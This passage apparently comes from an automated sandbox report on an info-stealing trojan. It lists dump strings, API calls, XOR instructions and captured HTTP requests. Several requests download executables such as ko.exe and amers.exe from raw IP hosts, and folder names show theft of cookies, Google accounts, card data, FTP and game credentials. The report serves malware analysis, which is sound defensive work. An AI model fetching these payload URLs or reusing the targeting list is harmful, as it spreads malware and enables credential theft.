"00000000-00006904.00000000.67707.03E50000.00000004.mdmp") Found string "\SystemRoot\System32\drivers\WMILIB.SYS" (Indicator: "\drivers\"; Source: "00000000-00006904.00000000.67707.03E50000.00000004.mdmp") Found string "\SystemRoot\System32\drivers\WMILIB.SYS" (Indicator: "system32\drivers"; Source: "00000000-00006904.00000000.67707.03E50000.00000004.mdmp") Found string "\SystemRoot\System32\drivers\intelpep.sys" (Indicator: "\drivers\"; Source: "00000000-00006904.00000000.67707.03E50000.00000004.mdmp") Found string "\SystemRoot\System32\drivers\intelpep.sys" (Indicator: "system32\drivers"; Source: "00000000-00006904.00000000.67707.03E50000.00000004.mdmp") Found string "\SystemRoot\system32\drivers\WindowsTrustedRT.sys" (Indicator: "\drivers\"; Source: "00000000-00006904.00000000.67707.03E50000.00000004.mdmp") Found string "\SystemRoot\system32\drivers\WindowsTrustedRT.sys" (Indicator: "system32\drivers"; Source: "00000000-00006904.00000000.67707.03E50000.00000004.mdmp") Found string "\SystemRoot\System32\drivers\WindowsTrustedRTProxy.sys" (Indicator: "\drivers\"; Source: "00000000-00006904.00000000.67707.03E50000.00000004.mdmp") Found string "\SystemRoot\System32\drivers\WindowsTrustedRTProxy.sys" (Indicator: "system32\drivers"; Source: "00000000-00006904.00000000.67707.03E50000.00000004.mdmp") Found string "\SystemRoot\System32\drivers\pcw.sys" (Indicator: "\drivers\"; Source: "00000000-00006904.00000000.67707.03E50000.00000004.mdmp") Found string "\SystemRoot\System32\drivers\pcw.sys" (Indicator: "system32\drivers"; Source: "00000000-00006904.00000000.67707.03E50000.00000004.mdmp") Found string "\SystemRoot\System32\drivers\msisadrv.sys" (Indicator: "\drivers\"; Source: "00000000-00006904.00000000.67707.03E50000.00000004.mdmp") Found string "\SystemRoot\System32\drivers\msisadrv.sys" (Indicator: "system32\drivers"; Source: "00000000-00006904.00000000.67707.03E50000.00000004.mdmp") Found string "\SystemRoot\System32\drivers\isapnp.sys" (Indicator: "\drivers\"; Source: "00000000-00006904.00000000.67707.03E50000.00000004.mdmp") Found string "\SystemRoot\System32\drivers\isapnp.sys" (Indicator: "system32\drivers"; Source: "00000000-00006904.00000000.67707.03E50000.00000004.mdmp")31:T9c4,"MHH8pQrdaTkfN7lyJVXS.exe" called "LoadResource with parameter {'hModule': '16515072', 'hResInfo': '17384744'}" (UID: 00000000-00001416) "MHH8pQrdaTkfN7lyJVXS.exe" called "LoadResource with parameter {'hModule': '16515072', 'hResInfo': '17384760'}" (UID: 00000000-00001416) "MHH8pQrdaTkfN7lyJVXS.exe" called "LoadResource with parameter {'hModule': '16515072', 'hResInfo': '17384584'}" (UID: 00000000-00001416) "MHH8pQrdaTkfN7lyJVXS.exe" called "LoadResource with parameter {'hModule': '16515072', 'hResInfo': '17384792'}" (UID: 00000000-00001416) "MHH8pQrdaTkfN7lyJVXS.exe" called "LoadResource with parameter {'hModule': '16515072', 'hResInfo': '17384440'}" (UID: 00000000-00001416) "MHH8pQrdaTkfN7lyJVXS.exe" called "LoadResource with parameter {'hModule': '16515072', 'hResInfo': '17384776'}" (UID: 00000000-00001416) "MHH8pQrdaTkfN7lyJVXS.exe" called "LoadResource with parameter {'hModule': '16515072', 'hResInfo': '17384456'}" (UID: 00000000-00001416) "MHH8pQrdaTkfN7lyJVXS.exe" called "LoadResource with parameter {'hModule': '16515072', 'hResInfo': '17384600'}" (UID: 00000000-00001416) "MHH8pQrdaTkfN7lyJVXS.exe" called "LoadResource with parameter {'hModule': '16515072', 'hResInfo': '17384808'}" (UID: 00000000-00001416) "MHH8pQrdaTkfN7lyJVXS.exe" called "LoadResource with parameter {'hModule': '16515072', 'hResInfo': '17384472'}" (UID: 00000000-00001416) "MHH8pQrdaTkfN7lyJVXS.exe" called "LoadResource with parameter {'hModule': '1947860992', 'hResInfo': '1949236384'}" (UID: 00000000-00001416) "MHH8pQrdaTkfN7lyJVXS.exe" called "LoadResource with parameter {'hModule': '1945042944', 'hResInfo': '1945207128'}" (UID: 00000000-00001416) "MHH8pQrdaTkfN7lyJVXS.exe" called "LoadResource with parameter {'hModule': '1945042944', 'hResInfo': '59152304'}" (UID: 00000000-00001416) "N_QwR4NSLtBtcixCu5po.exe" called "LoadResource with parameter {'hModule': '1969618944', 'hResInfo': '5983768'}" (UID: 00000000-00002516) "N_QwR4NSLtBtcixCu5po.exe" called "LoadResource with parameter {'hModule': '1999962112', 'hResInfo': '5572080'}" (UID: 00000000-00002516) "N_QwR4NSLtBtcixCu5po.exe" called "LoadResource with parameter {'hModule': '1969618944', 'hResInfo': '1973719072'}" (UID: 00000000-00002516) "N_QwR4NSLtBtcixCu5po.exe" called "LoadResource with parameter {'hModule': '1969618944', 'hResInfo': '5986472'}" (UID: 00000000-00002516) "N_QwR4NSLtBtcixCu5po.exe" called "LoadResource with parameter {'hModule': '1969618944', 'hResInfo': '5986488'}" (UID: 00000000-00002516)32:Tf8b,"SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "RemoveDirectoryA" with parameter %TEMP%\jobA3GHiLxQulTalN9\Autofill (UID: 00000000-00003992) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "RemoveDirectoryA" with parameter %TEMP%\jobA3GHiLxQulTalN9\Downloads (UID: 00000000-00003992) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "RemoveDirectoryA" with parameter %TEMP%\jobA3GHiLxQulTalN9\Files\Amazon Downloader Logs (UID: 00000000-00003992) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "RemoveDirectoryA" with parameter %TEMP%\jobA3GHiLxQulTalN9\Files\hancom (UID: 00000000-00003992) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "RemoveDirectoryA" with parameter %TEMP%\jobA3GHiLxQulTalN9\Files\My Music (UID: 00000000-00003992) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "RemoveDirectoryA" with parameter %TEMP%\jobA3GHiLxQulTalN9\Files\My Pictures (UID: 00000000-00003992) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "RemoveDirectoryA" with parameter %TEMP%\jobA3GHiLxQulTalN9\Files\My Videos (UID: 00000000-00003992) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "RemoveDirectoryA" with parameter %TEMP%\jobA3GHiLxQulTalN9\Files\Outlook Files (UID: 00000000-00003992) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "RemoveDirectoryA" with parameter %TEMP%\jobA3GHiLxQulTalN9\Files (UID: 00000000-00003992) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "RemoveDirectoryA" with parameter %TEMP%\jobA3GHiLxQulTalN9\Cookies (UID: 00000000-00003992) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "RemoveDirectoryA" with parameter %TEMP%\jobA3GHiLxQulTalN9\GoogleAccounts (UID: 00000000-00003992) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "RemoveDirectoryA" with parameter %TEMP%\jobA3GHiLxQulTalN9\FTP\FileZilla (UID: 00000000-00003992) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "RemoveDirectoryA" with parameter %TEMP%\jobA3GHiLxQulTalN9\FTP\TotalCommander (UID: 00000000-00003992) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "RemoveDirectoryA" with parameter %TEMP%\jobA3GHiLxQulTalN9\FTP (UID: 00000000-00003992) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "RemoveDirectoryA" with parameter %TEMP%\jobA3GHiLxQulTalN9\Games\Growtopia (UID: 00000000-00003992) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "RemoveDirectoryA" with parameter %TEMP%\jobA3GHiLxQulTalN9\Games\Minecraft (UID: 00000000-00003992) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "RemoveDirectoryA" with parameter %TEMP%\jobA3GHiLxQulTalN9\Games\TLauncher (UID: 00000000-00003992) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "RemoveDirectoryA" with parameter %TEMP%\jobA3GHiLxQulTalN9\Games\FeatherClient (UID: 00000000-00003992) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "RemoveDirectoryA" with parameter %TEMP%\jobA3GHiLxQulTalN9\Games\LunarClient (UID: 00000000-00003992) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "RemoveDirectoryA" with parameter %TEMP%\jobA3GHiLxQulTalN9\CC (UID: 00000000-00003992) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "RemoveDirectoryA" with parameter %TEMP%\jobA3GHiLxQulTalN9\Games\Battle.net (UID: 00000000-00003992) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "RemoveDirectoryA" with parameter %TEMP%\jobA3GHiLxQulTalN9\Games\Steam (UID: 00000000-00003992) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "RemoveDirectoryA" with parameter %TEMP%\jobA3GHiLxQulTalN9\Games (UID: 00000000-00003992) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "RemoveDirectoryA" with parameter %TEMP%\jobA3GHiLxQulTalN9\Messengers\Skype (UID: 00000000-00003992) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "RemoveDirectoryA" with parameter %TEMP%\jobA3GHiLxQulTalN9\Messengers\Element (UID: 00000000-00003992)33:T442,Found PE header "MZ" - Source: "00000000-00001416.00000003.81054.037A0000.00000002.mdmp") Found PE header "MZ" - Source: "00000000-00002516.00000001.73227.01152000.00000040.mdmp") Found PE header "MZ" - Source: "00000000-00002564.00000002.77082.04070000.00000004.mdmp") Found PE header "MZ" - Source: "00000000-00003788.00000003.77615.0159A000.00000040.mdmp") Found PE header "MZ" - Source: "00000000-00003788.00000003.77615.02440000.00000004.mdmp") Found PE header "MZ" - Source: "00000000-00003992.00000002.71276.001E0000.00000004.mdmp") Found PE header "MZ" - Source: "00000000-00003992.00000002.71276.041D0000.00000004.mdmp") Found PE header "MZ" - Source: "00000000-00003992.00000002.71276.04D40000.00000004.mdmp") Found PE header "MZ" - Source: "00000000-00003992.00000002.71276.04D7F000.00000004.mdmp") Found PE header "MZ" - Source: "00000000-00003992.00000002.71276.04DC4000.00000004.mdmp") Found PE header "MZ" - Source: "00000000-00003992.00000002.71276.05761000.00000004.mdmp") Found PE header "MZ" - Source: "00000000-00003992.00000003.73182.04D40000.00000004.mdmp")34:T1287,Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00002516-59073-965-00E1883B Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00002516-59073-965-00E1883B Assembly shows XOR instruction xor dword ptr [ebp-04h] eax in Stream UID: 00000000-00002516-59073-985-00DFFD50 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00002516-59073-985-00DFFD50 Assembly shows XOR instruction xor eax dword ptr [ebp-0Ch] in Stream UID: 00000000-00002516-59073-985-00DFFD50 Assembly shows XOR instruction xor eax dword ptr [ebp-14h] in Stream UID: 00000000-00002516-59073-985-00DFFD50 Assembly shows XOR instruction xor eax dword ptr [ebp-04h] in Stream UID: 00000000-00002516-59073-985-00DFFD50 Assembly shows XOR instruction xor eax ecx in Stream UID: 00000000-00002516-59073-985-00DFFD50 Assembly shows XOR instruction xor byte ptr [ebx-082F898Ch] bh in Stream UID: 00000000-00002516-59073-988-00E1D0A0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003788-34062-1106-0123BC63 Assembly shows XOR instruction xor ah byte ptr [edx] in Stream UID: 00000000-00003788-34062-1142-01243F24 Assembly shows XOR instruction xor eax 35C82977h in Stream UID: 00000000-00003788-34062-1142-01243F24 Assembly shows XOR instruction xor eax 3653F177h in Stream UID: 00000000-00003788-34062-1142-01243F24 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00003788-34062-1094-01231094 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00003788-34062-1094-01231094 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00002348-39062-38-011D3264 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00002348-39062-38-011D3264 Assembly shows XOR instruction xor eax dword ptr [ebp-0Ch] in Stream UID: 00000000-00002348-39062-8-011C0A8C Assembly shows XOR instruction xor dword ptr [ebp-04h] eax in Stream UID: 00000000-00002348-39062-8-011C0A8C Assembly shows XOR instruction xor eax dword ptr [ebp-14h] in Stream UID: 00000000-00002348-39062-8-011C0A8C Assembly shows XOR instruction xor eax dword ptr [ebp-04h] in Stream UID: 00000000-00002348-39062-8-011C0A8C Assembly shows XOR instruction xor eax ecx in Stream UID: 00000000-00002348-39062-8-011C0A8C Assembly shows XOR instruction xor esi eax in Stream UID: 00000000-00002348-39062-39-011D2FD7 Assembly shows XOR instruction xor edi edx in Stream UID: 00000000-00002348-39062-39-011D2FD7 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00002348-39062-44-011D320E Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00002348-39062-44-011D320E Assembly shows XOR instruction xor byte ptr [ebx-082F898Ch] bh in Stream UID: 00000000-00001884-10949-992-00D9D0A0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00001884-10949-969-00D9883B Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00001884-10949-969-00D9883B Assembly shows XOR instruction xor dword ptr [ebp-04h] eax in Stream UID: 00000000-00001884-10949-989-00D7FD50 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00001884-10949-989-00D7FD50 Assembly shows XOR instruction xor eax dword ptr [ebp-0Ch] in Stream UID: 00000000-00001884-10949-989-00D7FD50 Assembly shows XOR instruction xor eax dword ptr [ebp-14h] in Stream UID: 00000000-00001884-10949-989-00D7FD50 Assembly shows XOR instruction xor eax dword ptr [ebp-04h] in Stream UID: 00000000-00001884-10949-989-00D7FD50 Assembly shows XOR instruction xor eax ecx in Stream UID: 00000000-00001884-10949-989-00D7FD50 Assembly shows XOR instruction xor eax 00009228h in Stream UID: 22538-1-0041082E Assembly shows XOR instruction xor byte ptr [ebx] al in Stream UID: 22538-1-0041082E Assembly shows XOR instruction xor byte ptr [eax] al in Stream UID: 22538-1-0041082E Assembly shows XOR instruction xor dword ptr [eax] ebx in Stream UID: 22538-1-0041082E Assembly shows XOR instruction xor byte ptr [00006500h] cl in Stream UID: 22538-1-0041082E Assembly shows XOR instruction xor byte ptr [0006AD00h] al in Stream UID: 22538-1-0041082E Assembly shows XOR instruction xor byte ptr [edx] bl in Stream UID: 22538-1-0041082E Assembly shows XOR instruction xor al 20h in Stream UID: 22538-1-0041082E Assembly shows XOR instruction xor ecx ebp in Stream UID: 23698-8-00441D29 Assembly shows XOR instruction xor eax ebx in Stream UID: 23698-7-00424BCF Assembly shows XOR instruction xor ebx ecx in Stream UID: 23698-7-00424BCF Assembly shows XOR instruction xor eax D076CD95h in Stream UID: 25462-85-00402BED Assembly shows XOR instruction xor dword ptr [eax] 4DAB2542h in Stream UID: 25462-85-00402BED35:T5059,Contains base64 string in header "Keep" in header "GET /geoip/v2.1/city/me HTTP/1.1Connection: Keep-AliveReferer: https://www.maxmind.com/en/locate-my-ip-addressUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: www.maxmind.com" Contains base64 string in header "AliveReferer" in header "GET /geoip/v2.1/city/me HTTP/1.1Connection: Keep-AliveReferer: https://www.maxmind.com/en/locate-my-ip-addressUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: www.maxmind.com" Contains base64 string in header "like" in header "GET /geoip/v2.1/city/me HTTP/1.1Connection: Keep-AliveReferer: https://www.maxmind.com/en/locate-my-ip-addressUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: www.maxmind.com" Contains base64 string in header "/cost/ko" in header "GET /cost/ko.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 109.107.182.3Cache-Control: no-cache" Contains base64 string in header "like" in header "GET /cost/ko.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 109.107.182.3Cache-Control: no-cache" Contains base64 string in header "2045" in header "GET /cost/ko.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 109.107.182.3Cache-Control: no-cache" Contains base64 string in header "like" in header "GET /mine/amers.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 185.215.113.68Cache-Control: no-cache" Contains base64 string in header "2045" in header "GET /mine/amers.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 185.215.113.68Cache-Control: no-cache" Contains base64 string in header "like" in header "GET /cost/niks.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 109.107.182.3Cache-Control: no-cache" Contains base64 string in header "2045" in header "GET /cost/niks.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 109.107.182.3Cache-Control: no-cache" Contains base64 string in header "like" in header "GET /cost/vinu.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 109.107.182.3Cache-Control: no-cache" Contains base64 string in header "2045" in header "GET /cost/vinu.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 109.107.182.3Cache-Control: no-cache" Contains base64 string in header "like" in header "GET /cost/networa.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 109.107.182.3Cache-Control: no-cache" Contains base64 string in header "2045" in header "GET /cost/networa.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 109.107.182.3Cache-Control: no-cache" Contains base64 string in header "like" in header "GET /cost/lada.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 109.107.182.3Cache-Control: no-cache" Contains base64 string in header "2045" in header "GET /cost/lada.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 109.107.182.3Cache-Control: no-cache" Contains base64 string in header "Keep" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "User" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "ocsp" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "digicert" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "Keep" in header "GET /DigiCertGlobalRootG3.crt HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: cacerts.digicert.com" Contains base64 string in header "User" in header "GET /DigiCertGlobalRootG3.crt HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: cacerts.digicert.com" Contains base64 string in header "digicert" in header "GET /DigiCertGlobalRootG3.crt HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: cacerts.digicert.com" Contains base64 string in header "Keep" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1Cache-Control: max-age = 7200Connection: Keep-AliveAccept: */*If-Modified-Since: Mon, 29 Jan 2024 00:59:32 GMTUser-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "Modified" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1Cache-Control: max-age = 7200Connection: Keep-AliveAccept: */*If-Modified-Since: Mon, 29 Jan 2024 00:59:32 GMTUser-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "2024" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1Cache-Control: max-age = 7200Connection: Keep-AliveAccept: */*If-Modified-Since: Mon, 29 Jan 2024 00:59:32 GMTUser-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "ocsp" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1Cache-Control: max-age = 7200Connection: Keep-AliveAccept: */*If-Modified-Since: Mon, 29 Jan 2024 00:59:32 GMTUser-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "digicert" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1Cache-Control: max-age = 7200Connection: Keep-AliveAccept: */*If-Modified-Since: Mon, 29 Jan 2024 00:59:32 GMTUser-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAzlnDD9eoNTLi0BRrMy%2BWU%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "2BWU" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAzlnDD9eoNTLi0BRrMy%2BWU%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "Keep" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAzlnDD9eoNTLi0BRrMy%2BWU%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "User" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAzlnDD9eoNTLi0BRrMy%2BWU%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "ocsp" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAzlnDD9eoNTLi0BRrMy%2BWU%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "digicert" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAzlnDD9eoNTLi0BRrMy%2BWU%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP" in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "2FUsCEHe9DWzbNvka6iEPxPBY0w0" in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "Keep" in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "User" in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "ocsp" in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "goog" in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "2FpEnHuAsArL" in header "GET 